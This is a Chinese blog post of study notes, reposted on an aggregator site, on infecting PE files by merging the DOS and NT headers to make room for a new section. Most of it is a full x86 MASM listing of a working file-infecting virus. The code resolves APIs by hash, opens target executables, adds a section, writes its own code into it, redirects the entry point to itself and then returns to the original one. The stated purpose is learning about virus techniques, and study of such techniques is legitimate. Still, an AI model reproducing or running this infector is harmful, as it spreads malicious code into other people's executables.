码迷,mamicode.com
首页 > 其他好文 > 详细

变形PE头添加节形式感染学习笔记

时间:2015-02-03 12:36:26      阅读:273      评论:0      收藏:0      [点我收藏+]

标签:

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题


1> 变形PE头的原理:

        这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员.

        一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic   (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,这对我们写入一个新的节表结构是足足有余的。

        首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。

        我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节(从‘MZ‘开始数,数到BaseOfData为3ch),这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic   (2).e_lfanew。所以我们将前12个字节中的前两个字节写入‘MZ‘, 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了.

2> 变形PE头添加节的实现过程

技术分享
; 链接选项中加入/SECTION:.text, RWE, RadAsm中逗号替换为|  
02.    .386  
03.    .model flat, stdcall  
04.    option casemap:none  
05.      
06.include windows.inc  
07.  
08.@pushsz macro str  
09.      
10.    call @f  
11.    db str, 0  
12.@@:  
13.  
14.    endm  
15.  
16.pushad_eax equ 1ch  
17.pushad_edx equ 14h  
18.pushad_esi equ 04h  
19.pushad_edi equ 00h  
20.  
21.    .code  
22.      
23.VirusStart:  
24.    pushad  
25.    call Dels  
26.    int 3  
27.    int 3  
28.    int 3  
29.      
30.Dels:  
31.    pop ebp  
32.    sub ebp, Dels - 3   ; call入栈的是第一个int 3的地址,所以减的时候Dels要减到第一个int 3  
33.      
34.    ; Get kernel32  
35.    call GetKrnlBase  
36.      
37.    lea edi, [ebp + dwFunc] ; edi指向dwFunc  
38.    push edi  
39.    push eax  
40.    call GetFuncAddress  
41.      
42.    @pushsz user32  
43.    call dword ptr [ebp + _LoadLibrary] ; 调用_LoadLibrary处的地址  
44.      
45.    push edi  
46.    push eax  
47.    call GetFuncAddress  
48.      
49.    test ebp, ebp       ; 如果是在病毒的自己程序中,ebp为0,不会存在重定位问题  
50.    jz _Inject      ; 如果是在病毒自己程序中就跳  
51.      
52.    push 0          ; 如果是在被感染的程序中,就弹出一个对话框并继续感染其他文件  
53.    @pushsz Virus Demo  
54.    @pushsz This program is infected :)  
55.    push 0  
56.    call dword ptr [ebp + _MessageBox]  
57.      
58.    push dword ptr [ebp + JmpHost + 1]  ; 将原程序OEP入栈  
59.    pop dword ptr [esp + pushad_eax]    ; 将原程序OEP弹入程序开始pushad保存的eax中  
60.      
61.    @pushsz test2.exe  
62.    call Inject  
63.    popad  
64.      
65.    push eax    ; 原程序OEP入栈  
66.    ret     ; 调到原程序OEP  
67.      
68._Inject:  
69.    @pushsz test.exe  
70.    call Inject   
71.    popad  
72.    ret  
73.  
74.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
75.; Arguments:  
76.;   None  
77.; Return value:  
78.;   Success     - eax = KrnlBase  
79.;   Failure     - eax = -1  
80.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     
81.GetKrnlBase:  
82.    push dword ptr 006ch  
83.    push dword ptr 006c0064h  
84.    push dword ptr 002e0032h  
85.    push dword ptr 0033006ch  
86.    push dword ptr 0065006eh  
87.    push dword ptr 00720065h  
88.    push word ptr 006bh  
89.    mov ebx, esp  
90.      
91.    assume fs:nothing  
92.    mov eax, fs:[30h]  
93.    test eax, eax  
94.    js _Os9x  
95.    mov eax, [eax + 0ch]  
96.    mov eax, [eax + 1ch]  
97.      
98._Search:  
99.    or eax, eax  
100.    jz _NotFound  
101.    inc eax  
102.    jz _NotFound  
103.    dec eax  
104.    lea esi, [eax + 1ch]        ; eax + 1ch = BaseDllName  
105.    mov esi, [esi + 4]      ; esi 指向UNICODE_STRING.BUFFER  
106.    mov ecx, dword ptr 13  
107.    mov edi, ebx  
108.    repz cmpsw  
109.    or ecx, ecx  
110.    jz _Found  
111.    mov eax, [eax]  
112.    jmp _Search  
113.      
114._NotFound:  
115.    or eax, 0ffffffffh  
116.    jmp _Result  
117.      
118._Found:  
119.    mov eax, [eax + 08h]  
120.    jmp _Result  
121.      
122._Os9x:  
123.    mov eax, [eax + 34h]  
124.    lea eax, [eax + 7ch]  
125.    mov eax, [eax + 3ch]  
126.      
127._Result:  
128.    add esp, 26  
129.    ret  
130.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
131.; Arguments:  
132.;   [esp]       - return address  
133.;   [esp + 4]   - hModule  
134.;   [esp + 8]   - pHashList  
135.; Return value:  
136.;   None  
137.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     
138.GetFuncAddress:  
139.    pushad  
140.    mov ebx, [esp + 4 * 8 + 4]  ; Get hModule, First arguments  
141.    mov edx, [ebx + 3ch]  
142.    mov esi, [ebx + edx + 78h]  ; esi = PE Header.Data Directory[0].VirualAddress  
143.    lea esi, [ebx + esi + 18h]  ; esi->ExportTable.NumberOfNames  
144.    lodsd  
145.    xchg eax, ecx           ; ecx = NumberOfNames  
146.    lodsd  
147.    add eax, ebx  
148.    xchg eax, ebp           ; ebp = AddressOfFunctions  
149.    lodsd  
150.    add eax, ebx  
151.    xchg eax, edx           ; edx = AddressOfNames  
152.    lodsd  
153.    add eax, ebx  
154.    push eax            ; [esp] = AddressOfNameOrdinals   
155.    mov esi, edx            ; esi = AddressOfNames  
156.      
157._NextFunc:  
158.    lodsd  
159.    add eax, ebx  
160.      
161.    ; Make Hash  
162.    xor edx, edx  
163.      
164._MakeHash:  
165.    rol edx, 3  
166.    xor dl, byte ptr [eax]  
167.    inc eax  
168.    cmp byte ptr [eax], 0  
169.    jnz _MakeHash  
170.      
171.    mov eax, [esp]  
172.    add dword ptr [esp], 2  
173.    mov edi, [esp + 4 * 8 + 4 + 8]  
174.      
175._ScanDwFunc:  
176.    cmp dword ptr [edi], edx  
177.    jnz _NextHash  
178.    movzx eax, word ptr [eax]  
179.    mov eax, [ebp + eax * 4]  
180.    add eax, ebx  
181.    scasd       ; 递增到存储地址的地方  
182.    stosd  
183.    jmp _Ret  
184.      
185._NextHash:  
186.    scasd  
187.    scasd       ; 越过第一个api hash和存储地址区域  
188.    cmp dword ptr [edi], 0  
189.    jne _ScanDwFunc  
190.      
191._Ret:  
192.    loop _NextFunc  
193.    pop ecx  
194.    popad  
195.    ret 8  
196.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
197.; Arguments:  
198.;   [esp]       - return address  
199.;   [esp + 4]   - lpMemory  
200.; Return value:  
201.;   Success     - CF = 1  
202.;   Faiulre     - CF = 0  
203.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
204.IsPe:  
205.    mov edx, [esp + 4]  
206.    cmp word ptr [edx], ZM  
207.    jnz _IP_RetFalse  
208.    add edx, [edx + 3ch]  
209.    cmp word ptr [edx], EP  
210.    jnz _IP_RetFalse  
211.      
212._IP_RetTrue:  
213.    stc  
214.    ret 4 * 1  
215.      
216._IP_RetFalse:  
217.    clc  
218.    ret 4 * 1  
219.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
220.; Arguments:  
221.;   [esp]       - return address  
222.;   [esp + 4]   - lpFileName  
223.; Return value:  
224.;   True        - CF - 1  
225.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
226.IsFileType:  
227.    push 0                  ; 留出空间存放结果  
228.    push esp                ; 输出参数  
229.    push dword ptr [esp + 4 * 2 + 4]  
230.    call dword ptr [ebp + _GetBinaryType]   ; 调用GetBinaryType  
231.    pop eax                 ; 将输出参数中的值赋给eax  
232.    ; 32BIT_BINARY = 0  
233.    test eax, eax  
234.    jne _IFT_RetFalse  
235.      
236._IFT_RetTrue:  
237.    stc  
238.    ret 4 * 1  
239.      
240._IFT_RetFalse:  
241.    clc  
242.    ret 4 * 1  
243.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
244.; Arguments:  
245.;   [esp]       - return address  
246.;   [esp + 4]   - lpFileName  
247.; Return Value:  
248.;   None  
249.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
250.Inject:  
251.    pushad  
252.    mov esi, [esp + 4 * 8 + 4]  ; esi = lpFileName  
253.      
254.    ;++  
255.    ; Is File Pe Format  
256.    push esi  
257.    call IsFileType  
258.    jnc _IJ_Result          ; 不是32位二进制文件跳走  
259.    ;--  
260.      
261.    xor eax, eax  
262.    push eax  
263.    push eax  
264.    push OPEN_EXISTING  
265.    push eax  
266.    push FILE_SHARE_WRITE  
267.    push GENERIC_READ or GENERIC_WRITE  
268.    push esi  
269.    call [ebp + _CreateFile]    ; 打开文件lpFileName  
270.    cmp eax, -1  
271.    jz _IJ_Result  
272.      
273.    xchg eax, ebx           ; ebx = hFile  
274.      
275.    push 0  
276.    push ebx  
277.    call [ebp + _GetFileSize]  
278.    push eax            ; push File size  
279.      
280.    push PAGE_READWRITE  
281.    push MEM_COMMIT  
282.    push eax  
283.    push 0  
284.    call [ebp + _VirtualAlloc]  
285.    pop edx             ; edx = file size, eax = memory address  
286.      
287.    test eax, eax   
288.    jz _IJ_CloseHandle  
289.      
290.    xchg eax, edi           ; edi = memory address  
291.    mov dword ptr [ebp + _FreeSize], edx  
292.    push 0  
293.    push esp  
294.    push dword ptr [ebp + _FreeSize]  
295.    push edi            ; 将文件读取到edi  
296.    push ebx  
297.    call [ebp + _ReadFile]  
298.    test eax, eax  
299.    jz _FreeMem  
300.      
301.    push edi            ; 读取的文件数据  
302.    call IsPe  
303.    jnc _FreeMem  
304.      
305.    push Virus_Len  
306.    push edi  
307.    call AddSectionTable        ; 添加节表, 返回后edx = NewSection VirtualAddress(病毒入口RVA)  
308.      
309.    ;++  
310.    ; Update Oep, Write JmpHost  
311.    mov eax, edi            ; eax为文件数据  
312.    add eax, [eax + 3ch]        ; eax = PE Header  
313.    mov ecx, edx            ; ecx = Virus entry rva  
314.    xchg ecx, [eax + 28h]       ; [eax + 28h] = AddressOfEntryPoint程序执行入口RVA,和ecx交换  
315.    add ecx, [eax + 34h]        ; [eax + 34h] = ImageBase程序的建议装载地址  
316.    mov dword ptr [ebp + JmpHost + 1], ecx  ; 保存ImageBase + AddressOfEntryPoint = Oep  
317.    ;--  
318.      
319.    ; 将文件指针指向开始处  
320.    push FILE_BEGIN  
321.    push 0  
322.    push 0  
323.    push ebx  
324.    call [ebp + _SetFilePointer]  
325.      
326.    ; 将更改后的文件数据写入文件  
327.    push 0              ; 留位置用于下面 push esp 做输出参数  
328.    push esp  
329.    lea eax, [ebp + _FreeSize]  
330.    push dword ptr [eax]  
331.    push edi  
332.    push ebx  
333.    call [ebp + _WriteFile]  
334.    test eax, eax  
335.    jz _FreeMem  
336.      
337.    ; 在文件尾部扩展出Virus_Len长度的空间  
338.    push FILE_END  
339.    push 0  
340.    push Virus_Len  
341.    push ebx  
342.    call [ebp + _SetFilePointer]  
343.      
344.    ; 确定文件结尾  
345.    push ebx  
346.    call [ebp + _SetEndOfFile]  
347.      
348.    ; 从当前文件指针(文件结尾)往前移动Virus_Len字节,准备写入病毒代码  
349.    push FILE_CURRENT  
350.    push 0  
351.    push -(Virus_Len)  
352.    push ebx  
353.    call [ebp + _SetFilePointer]  
354.      
355.    push 0          ; 为下一句指令留位置  
356.    push esp  
357.    push Virus_Len  
358.    lea eax, [ebp + VirusStart]  
359.    push eax        ; 从VirusStart开始向文件当前文件指针指向的位置写入Virus_Len字节  
360.    push ebx  
361.    call [ebp + _WriteFile]  
362.    test eax, eax  
363.    jz _FreeMem  
364.      
365._FreeMem:  
366.    push MEM_DECOMMIT  
367.    _FreeSize = $ + 1   ; $ + 1为push指令后面的操作数的地址,上面将file size写入此处  
368.    push $  
369.    push edi  
370.    call [ebp + _VirtualFree]  
371.      
372._IJ_CloseHandle:  
373.    push ebx  
374.    call [ebp + _CloseHandle]  
375.      
376._IJ_Result:  
377.    popad  
378.    ret 4  
379.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
380.; Arguments:  
381.;   [esp]           - return address  
382.;   [esp + 4 * 8 + 4]   - pMemory  
383.;   [esp + 4 * 8 + 8]   - dwLen  
384.; Return Value:  
385.;   eax = New section PhysicalOffset  
386.;   edx = NewSection VirtualOffset  
387.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
388.AddSectionTable:  
389.    pushad  
390.    mov ebx, [esp + 4 * 8 + 4]  ; ebx = 映像起始  
391.    mov esi, ebx  
392.    add esi, [esi + 3ch]        ; esi指向pe头  
393.      
394.    ;++  
395.    ; edi = Section Table  
396.    ; + 4是加上IMAGE_NT_HEADERS结构里的Signature的长度  
397.    ; IMAGE_FILE_HEADER.SizeOfOptionalHeader是相对于IMAGE_OPTIONAL_HEADER32的偏移  
398.    ; 这里需要的是相对于IMAGE_NT_HEADERS的偏移  
399.    movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.SizeOfOptionalHeader + 4]  ; IMAGE_OPTIONAL_HEADER32结构长度  
400.    lea edi, dword ptr [esi + ecx + 4 + sizeof IMAGE_FILE_HEADER]   ; edi指向节表  
401.    ;--  
402.      
403.    ;++  
404.    ; Clear Entry Bound Import   
405.    lea edx, [esi + 74h]  
406.    cmp dword ptr [edx], 10  
407.    jl _GoSectionTable  
408.    mov dword ptr [edx + 4 + 11 * 8], 0 ; 清除Entry bound import  
409.    ;--  
410.      
411._GoSectionTable:  
412.    ;++  
413.    ; edx = First section offset  
414.    ; edi = Last section table offset  
415.    ; 这里为什么要取文件偏移呢,因为申请的内存中读取的文件数据  
416.    ; 并没有按照内存粒度对齐,还是和文件中一样的  
417.    mov edx, [edi + IMAGE_SECTION_HEADER.PointerToRawData]  
418.    add edx, ebx    ; 节在文件中的位置  
419.    movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.NumberOfSections + 4]  ; 节表数量  
420.    imul ecx, ecx, sizeof IMAGE_SECTION_HEADER  ; 所有节表的长度  
421.    add edi, ecx        ; edi = 节表尾部  
422.    ;--  
423.      
424.    ;++  
425.    ; 扩大PE头结构  
426.    ; BaseOfData等于.lfanew  
427.    push edx  
428.    mov eax, edi  
429.    sub edx, eax        ; 计算出第一个节和节表中间的空隙大小  
430.    cmp edx, sizeof IMAGE_SECTION_HEADER  
431.    pop edx  
432.    jge _AddSectionTable    ; 能够存放下一个节表就跳,然后添加~  
433.      
434.    ; 测试扩展是否已存在  
435.    cmp word ptr [ebx + 0ch], EP  ; 如果开始+0ch就是‘PE‘,说明PE头已变形  
436.    jnz _Expand  
437.    xor eax, eax  
438.    mov [esp + pushad_eax], eax  
439.    jmp _AST_Result  
440.      
441._Expand:  
442.    sub eax, esi            ; 计算PE头到节表结尾的距离  
443.    xchg eax, ecx           ; ecx = 距离  
444.    pushad  
445.    lea edi, [ebx + 0ch]        ; edi指向程序开始偏移0ch处  
446.    mov dword ptr [esp + pushad_esi], edi   ; 修改pushad保存的esi为edi  
447.    cld  
448.    rep movsb               ; 循环复制字节, 将NT头和节表复制到程序开始偏移0ch处  
449.    mov dword ptr [esp + pushad_edi], edi   ; 此时edi为新的节表尾部  
450.      
451.    sub edx, edi    ; edx = 第一个节的文件偏移  
452.    xchg ecx, edx   ; ecx = 第一个节和新节表尾的距离  
453.    xor eax, eax  
454.    rep stosb   ; 新节表为到第一个节中间的数据清0  
455.    popad  
456.      
457.    mov dword ptr [ebx + 3ch], 0ch  ; 此处原理参考PE头变形  
458.    ;--  
459.      
460._AddSectionTable:  
461.    ; Inc Num  
462.    inc word ptr [esi + 06h]        ; 节表数量加1  
463.    ; Section Name  
464.    mov dword ptr [edi], tesT     ; 名叫Test的节  
465.    ; Physical size  
466.    push dword ptr [esp + 4 * 8 + 8]    ; 取出dwLen参数作为节的长度  
467.    pop dword ptr [edi + 10h]  
468.    ; Physical offset  
469.    lea edx, [edi - 28h]            ; 指向最后一个节表  
470.    mov eax, [edx + 14h]            ; 获取最后一个节的文件偏移  
471.    mov ecx, [edx + 10h]            ; 获取最后一个节的长度          
472.    add eax, ecx                ; 最后一个节的尾部偏移  
473.    mov dword ptr [edi + 14h], eax      ; 新节的偏移  
474.    mov dword ptr [esp + pushad_eax], eax   ; 修改pushad的eax为新节的偏移  
475.    ; Virtual size  
476.    push  dword ptr [esp + 4 * 8 + 8]   ; 取dwLen  
477.    pop dword ptr [edi + 8h]  
478.    ; Virtual offset  
479.    push dword ptr [esi + 50h]      ; 内存中整个PE映像的尺寸  
480.    pop eax                 ; 弹入eax  
481.    mov dword ptr [edi + 0ch], eax      ; eax = virus开始处的偏移,pe映像尺寸是经过内存粒度对齐的  
482.    mov [esp + pushad_edx], eax     ; 将Virus的地址修改到edx  
483.    ; Flags  
484.    mov dword ptr [edi + 24h], 0e0000020h  
485.    ; SizeOfImage  
486.    mov ecx, [edi + 08h]  
487.    add ecx, [edi + 0ch]            ; 原映像大小加上添加的代码大小  
488.    mov dword ptr [esi + 50h], ecx      ; 修改映像大小  
489.      
490._AST_Result:  
491.    popad  
492.    ret 8  
493.      
494.JmpHost:  
495.    push $  
496.    ret  
497.      
498.dwFunc:  
499.                dd  0C0D6D616h  
500.    _CloseHandle        dd  0  
501.      
502.                dd  038C62A7Ah  
503.    _CreateFile     dd  0  
504.      
505.                dd  0ABD10842h  
506.    _GetBinaryType      dd  0  
507.      
508.                dd  09554EFE7h  
509.    _GetFileSize        dd  0  
510.      
511.                dd  00BE25545h  
512.    _ReadFile       dd  0  
513.      
514.                dd  0A97175F9h  
515.    _SetEndOfFile       dd  0  
516.      
517.                dd  0A9D1FD70h  
518.    _SetFilePointer     dd  0  
519.                  
520.                dd  0AB16D0AEh  
521.    _VirtualAlloc       dd  0  
522.      
523.                dd  0B562D3DBh  
524.    _VirtualFree        dd  0  
525.      
526.                dd  058D8C545h  
527.    _WriteFile      dd  0  
528.      
529.                dd  0A412FD89h  
530.    _LoadLibrary        dd  0  
531.      
532.                dd  014D14C51h  
533.    _MessageBox     dd  0  
534.   
535. Virus_Len = $ - VirusStart  
536.   
537.    end VirusStart  
View Code

 

变形PE头添加节形式感染学习笔记

标签:

原文地址:http://www.cnblogs.com/Acg-Check/p/4269431.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!